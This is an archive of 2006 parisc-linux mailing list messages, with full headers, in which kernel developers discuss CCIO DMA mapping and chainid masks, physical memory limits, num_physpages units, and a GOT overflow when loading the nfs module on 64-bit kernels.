> (ccio_map_single(), ccio_unmap_single(), ccio_map_sg(), ccio_unmap_sg(), 
> etc) to manage sg list of a non-exitent device???

See arch/parisc/kernel/pci-dma.c for B180 DMA mapping functions.

> What did I miss?

You missed where/how dma_ops gets assigned.
Find that and I think you'll understand one more bit of the puzzle.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Tue, 17 Oct 2006 15:07:36 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20061017190736.GA4997@tachyon.int.mcmartin.ca>
References: <J7AHPO$ED967CCDD9E203D6968EA2045C11A08A@scarlet.be>
	<45351637.4070604@computer.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624612 27837 80.91.229.3 (22 Nov 2014 02:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Andrew Gaylard <ag@computer.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Oct 2006 19:08:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 17 Oct 2006 21:08:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C21847D84A;
	Tue, 17 Oct 2006 13:08:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07788-06; Tue, 17 Oct 2006 13:08:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E75077D843;
	Tue, 17 Oct 2006 13:08:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CF387D83A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Oct 2006 13:08:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07788-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Oct 2006 13:08:11 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1D47D818
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Oct 2006 13:08:11 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E85B349400E; Tue, 17 Oct 2006 13:08:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 50C0A49400A
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Oct 2006 13:07:45 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 37CF7584154;
	Tue, 17 Oct 2006 15:07:40 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C3724584143;
	Tue, 17 Oct 2006 15:07:39 -0400 (EDT)
Original-Received: from tachyon.int.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.i.cabal.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 50C60837DB;
	Tue, 17 Oct 2006 15:07:39 -0400 (EDT)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 5B2D4D6C17; Tue, 17 Oct 2006 15:07:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <45351637.4070604@computer.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GhgTbR3wLi5nE/fRZWtpUNljZml1ZBjL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25349

On Tue, Oct 17, 2006 at 07:43:19PM +0200, Andrew Gaylard wrote:
>    Why do we truncate the memory like this?
>    My 4GB box is now "missing" 512M.
> 

the top 1/16 of physical memory is F-space for PDC and IO. there
are other reservations too.

it seems fairly logical that you can't fit 4GB of memory and anything
else in a 32bit number.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Mon, 16 Oct 2006 23:59:23 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20061017055923.GA6055@colo.lackof.org>
References: <J788XR$E1A2FE043CF88207AEC13412E82258F2@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624612 27839 80.91.229.3 (22 Nov 2014 02:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Oct 2006 05:59:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 17 Oct 2006 07:59:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC45E7D736;
	Mon, 16 Oct 2006 23:59:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28894-04; Mon, 16 Oct 2006 23:59:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF0307D73D;
	Mon, 16 Oct 2006 23:59:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CEFE7D736
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 23:59:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28894-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 23:59:28 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 09C587D722
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 23:59:28 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 58D8E49400E; Mon, 16 Oct 2006 23:59:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id EAD8549400A
	for <parisc-linux@parisc-linux.org>;
	Mon, 16 Oct 2006 23:59:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B6A9B298053;
	Mon, 16 Oct 2006 23:59:24 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07788-01; Mon, 16 Oct 2006 23:59:23 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D1E8A29804B; Mon, 16 Oct 2006 23:59:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J788XR$E1A2FE043CF88207AEC13412E82258F2@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eEMNfQViYW0+VLuGbmZp63B0amthc1sK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25350

On Mon, Oct 16, 2006 at 01:51:27PM +0200, Joel Soete wrote:
...
>     but it seems that at in the history num_physpages (now ram size in bytes)
>     was well the physical number of page:
...
>     nowaday num_physpages is bytes so the comparision is eronous?
>     (compare bytes against page number)

Where did you get the idea num_physpages is in bytes?

These two examples suggest it's counting PAGE_SIZE pages :

mm/slab.c:      if (num_physpages > (32 << 20) >> PAGE_SHIFT)
mm/swap.c:      unsigned long megs = num_physpages >> (20 - PAGE_SHIFT);


>     the same way in:
>     iov_order = get_order(iova_space_size << PAGE_SHIFT);
> 
>     iova_space_size << PAGE_SHIFT == iova_space_size * 2^PAGE_SHIFT
>                                   == iova_space_size * PAGE_SIZE
> 
>     made sense when iova_space_size was a number of pages,

Look at get_order() then you'll understand why the "<< PAGE_SHIFT".
iov_order is being set to log2(iova_space_size)+1.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64bit kernel & nfs module: Global Offset Table
	overflow (used 1068, allowed 1023)
Date: Wed, 18 Oct 2006 22:03:11 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <200610182203.11413.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624613 27841 80.91.229.3 (22 Nov 2014 02:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:13 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2006 20:03:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 18 Oct 2006 22:03:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBF087D6EF;
	Wed, 18 Oct 2006 14:03:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26579-01; Wed, 18 Oct 2006 14:03:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C8407D6E1;
	Wed, 18 Oct 2006 14:03:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D5B67D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Oct 2006 14:03:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25708-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Oct 2006 14:03:19 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1A7FD7D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Oct 2006 14:03:19 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id CF94F49400A; Wed, 18 Oct 2006 14:03:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by mail.parisc-linux.org (Postfix) with SMTP id 38B4A494006
	for <parisc-linux@parisc-linux.org>;
	Wed, 18 Oct 2006 14:03:14 -0600 (MDT)
Original-Received: (qmail invoked by alias); 18 Oct 2006 20:03:13 -0000
Original-Received: from mnhm-590c1997.pool.einsundeins.de (EHLO p100.box) [89.12.25.151]
	by mail.gmx.net (mp003) with SMTP; 18 Oct 2006 22:03:13 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rr8EdAJ/Iyd1EvqQe2drsQxaa2FkZlXm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25351

With a 64bit Kernel (git head):

c3000:/home/cvs# modprobe nfs
FATAL: Error inserting nfs (/lib/modules/2.6.19-rc2-pa0/kernel/fs/nfs/nfs.ko): Invalid argument

dmesg says:
nfs: Global Offset Table overflow (used 1068, allowed 1023)


In the source code arch/parisc/kernel/module.c I found:

/* Maximum number of GOT entries. We use a long displacement ldd from
 * the bottom of the table, which has a maximum signed displacement of
 * 0x3fff; however, since we're only going forward, this becomes
 * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
 * at most 1023 entries */
#define MAX_GOTS        1023

Since I don't have any real idea about GOT and modules in general:
Isn't it possible to increase this number for 64bit kernels ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernel & nfs module: Global Offset Table overflow (used 1068, allowed 1023)
Date: Wed, 18 Oct 2006 17:23:46 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20061018232346.GW22289@parisc-linux.org>
References: <200610182203.11413.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624613 27844 80.91.229.3 (22 Nov 2014 02:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2006 23:23:50 -0000
Original-Received: from palinux.external.hp.com (EHLO mail.parisc-linux.org) [192.25.206.14]
  by mx0.gmx.net (mx073) with SMTP; 19 Oct 2006 01:23:50 +0200
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id B2BD5494006; Wed, 18 Oct 2006 17:23:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200610182203.11413.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z/FQL1whaHI+XKWnKSUlpN1qamdhZMST
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25352

On Wed, Oct 18, 2006 at 10:03:11PM +0200, Helge Deller wrote:
> With a 64bit Kernel (git head):
> 
> c3000:/home/cvs# modprobe nfs
> FATAL: Error inserting nfs (/lib/modules/2.6.19-rc2-pa0/kernel/fs/nfs/nfs.ko): Invalid argument
> 
> dmesg says:
> nfs: Global Offset Table overflow (used 1068, allowed 1023)
> 
> 
> In the source code arch/parisc/kernel/module.c I found:
> 
> /* Maximum number of GOT entries. We use a long displacement ldd from
>  * the bottom of the table, which has a maximum signed displacement of
>  * 0x3fff; however, since we're only going forward, this becomes
>  * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
>  * at most 1023 entries */
> #define MAX_GOTS        1023
> 
> Since I don't have any real idea about GOT and modules in general:
> Isn't it possible to increase this number for 64bit kernels ?

We'd need to make the GOT register point 0x2000 above where it currently
does.  Then we could use a signed +0x1fff / -0x2000 offset.

I have no idea how to make this happen.



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Fri, 20 Oct 2006 17:18:28 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <453904E4.60608@scarlet.be>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
	<20061020155059.GB23094@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624613 27846 80.91.229.3 (22 Nov 2014 02:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2006 17:18:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 20 Oct 2006 19:18:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A0077D7C1;
	Fri, 20 Oct 2006 11:18:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27929-03; Fri, 20 Oct 2006 11:18:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50AD67D7C5;
	Fri, 20 Oct 2006 11:18:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BAC97D7A9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 11:18:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27921-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 11:18:27 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 35D787D79E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 11:18:27 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E67CB49400E; Fri, 20 Oct 2006 11:18:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2EA8249400A;
	Fri, 20 Oct 2006 11:18:24 -0600 (MDT)
Original-Received: from (ip-213-49-79-225.dsl.scarlet.be [213.49.79.225]) 
	by oola.is.scarlet.be  with ESMTP id k9KHIJB12912; 
	Fri, 20 Oct 2006 19:18:20 +0200
User-Agent: Icedove 1.5.0.7 (X11/20061013)
In-Reply-To: <20061020155059.GB23094@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yTwPDHwQQEVsAujDZnVpA7JKNzg2NYLv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25353



Grant Grundler wrote:
> On Fri, Oct 20, 2006 at 12:04:47PM +0000, Joel Soete wrote:
>> mmm offhand wasn't there limits in ccio page size like in ia64 sba comments:
>>> /*
>>> ** The zx1 IOC supports 4/8/16/64KB page sizes (see TCNFG register)
> 
> I don't remember.
> ia64 sba is the 3rd generation IO controller.
> U2 (ccio) is the first generation.
> Sorry, I'm not interested in comparing them.
> 
no pb,

>>> Uhm....sounds reasonable to me. All I know is I believe the existing
>>> code use of chain_id is correct.
>>>
>> Just come back here shortly: the computed values with my hw config (256Mb 
>> and 2 ccio) are
>>> Found U2 at 0xfff88000
>>> ccio_ioc_init() hpa 0x00008000 mem 256Mb IOV 128Mb (27 bits)
>>>  base 10740000
>>> ccio_ioc_init() res_size 0x1000
>>>  chainid_shift 0x13
>>>  chainid_mask 0x7f80000
> 
> This looks correct.
> 
>>> Found U2 at 0xfff8a000
>>> ccio_ioc_init() hpa 0x0000a000 mem 256Mb IOV 128Mb (27 bits)
>>>  base 10780000
>>> ccio_ioc_init() res_size 0x1000
>>>  chainid_shift 0x13
>>>  chainid_mask 0x7f80000
>> otoh, applying this other formula [io_chain_id_mask = (~(CHAINID_SIZE -1)); 
>> with CHAINID_SIZE = (1UL << ioc->chainid_shift)], I got:
>>>  chainid_mask 0xfff80000
> 
> This second chainid_mask is 13 bits wide.
mmm sorry how do you compute this wide value?

> Remember that the mask can only be 8 bits wide for ccio.
> 

Btw I just discover an interesting comment in rope.h
> /*
> ** IOC supports 4/8/16/64KB page sizes (see TCNFG register)
